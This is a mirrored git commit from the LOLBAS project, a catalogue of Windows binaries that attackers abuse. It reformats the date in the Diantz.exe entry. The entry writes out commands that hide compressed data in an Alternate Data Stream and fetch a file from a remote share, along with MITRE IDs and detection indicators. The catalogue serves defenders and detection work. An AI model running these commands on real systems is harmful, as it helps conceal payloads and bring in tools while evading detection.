mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 12:42:19 +02:00
Standardise date formats (see https://yaml.org/type/timestamp.html)
This commit is contained in:
@@ -2,11 +2,11 @@
|
||||
Name: Diantz.exe
|
||||
Description: Binary that package existing files into a cabinet (.cab) file
|
||||
Author: 'Tamir Yehuda'
|
||||
Created: '08/08/2020'
|
||||
Created: 2020-08-08
|
||||
Commands:
|
||||
- Command: diantz.exe c:\pathToFile\file.exe c:\destinationFolder\targetFile.txt:targetFile.cab
|
||||
Description: Compress taget file into a cab file stored in the Alternate Data Stream (ADS) of the target file.
|
||||
Usecase: Hide data compressed into an Alternate Data Stream.
|
||||
Usecase: Hide data compressed into an Alternate Data Stream.
|
||||
Category: ADS
|
||||
Privileges: User
|
||||
MitreID: T1096
|
||||
@@ -14,7 +14,7 @@ Commands:
|
||||
OperatingSystem: Windows XP, Windows vista, Windows 7, Windows 8, Windows 8.1.
|
||||
- Command: diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
|
||||
Description: Download and compress a remote file and store it in a cab file on local machine.
|
||||
Usecase: Download and compress into a cab file.
|
||||
Usecase: Download and compress into a cab file.
|
||||
Category: Download
|
||||
Privileges: User
|
||||
MitreID: T1105
|
||||
@@ -23,9 +23,9 @@ Commands:
|
||||
Full_Path:
|
||||
- Path: c:\windows\system32\diantz.exe
|
||||
- Path: c:\windows\syswow64\diantz.exe
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
Code_Sample:
|
||||
- Code:
|
||||
Detection:
|
||||
- IOC: diantz storing data into alternate data streams.
|
||||
- IOC: diantz getting a file from a remote machine or the internet.
|
||||
Resources:
|
||||
|
Reference in New Issue
Block a user